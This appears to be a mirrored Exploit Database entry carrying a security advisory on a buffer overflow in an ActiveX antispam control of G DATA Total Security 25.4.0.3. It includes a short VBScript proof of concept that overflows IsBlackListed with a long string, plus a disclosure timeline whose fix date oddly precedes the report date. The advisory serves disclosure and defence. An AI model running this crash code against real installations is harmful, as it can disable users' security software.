G DATA Total Security 25.4.0.3 – Activex Buffer Overflow

• Exploit Database
• 112 阅读

• 作者： Filipe Xavier Oliveira
  日期： 2018-07-13
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/45017/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74

  <!-- =====[ Tempest Security Intelligence - ADV-24/2018 ]===   G DATA TOTAL SECURITY v25.4.0.3 Activex Buffer Overflow Author: Filipe Xavier Oliveira Tempest Security Intelligence - Recife, Pernambuco - Brazil   =====[ Table of Contents]=====================================================   * Overview * Detailed description * Timeline of disclosure * Thanks & Acknowledgements * References   =====[ Overview]==============================================================   * System affected : G DATA TOTAL SECURITY [1]. * Software Version : 25.4.0.3 (other versions may also be affected). * Impact : A user may be affected by opening a malicious black list email in the antispam filter,   =====[ Detailed description]================================================== The GDASPAMLib.AntiSpam ActiveX control ASK\GDASpam.dll in G DATA Total Security 25.4.0.3 has a buffer overflow via a long IsBlackListed argument. Through a long input in a member of class called Antispam, isblackedlist class is vulnerable a buffer overflow.   A poc that causes a buffer overflow : -->   <?XML version=&apos;1.0&apos; standalone=&apos;yes&apos; ?> <package><job id=&apos;DoneInVBS&apos; debug=&apos;false&apos; error=&apos;true&apos;> <object classid=&apos;clsid:B9D1548D-4339-485A-ABA2-F9F9C1CBF8AC&apos; id=&apos;target&apos; /> <script language=&apos;vbscript&apos;>     &apos;for debugging/custom prolog targetFile = "C:\Program Files\G DATA\TotalSecurity\ASK\GDASpam.dll" prototype = "Function IsBlackListed ( ByVal strIP As String ) As Long" memberName = "IsBlackListed" progid = "GDASPAMLib.AntiSpam" argCount = 1   arg1=String(14356, "A")   target.IsBlackListed arg1   </script></job></package>   <!-- =====[ Timeline of disclosure]===============================================   04/10/2018 - Vulnerability reported. 04/17/2018 - The vendor will fix the vulnerability. 05/24/2017 - Vulnerability fixed.   07/12/2018 - CVE assigned [1]   =====[ Thanks & Acknowledgements]============================================   - Tempest Security Intelligence / Tempest&apos;s Pentest Team [3]   =====[ References]===========================================================   [1] https://www.gdatasoftware.com/   [2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10018   [3] http://www.tempest.com.br   =====[ EOF]==================================================================== -->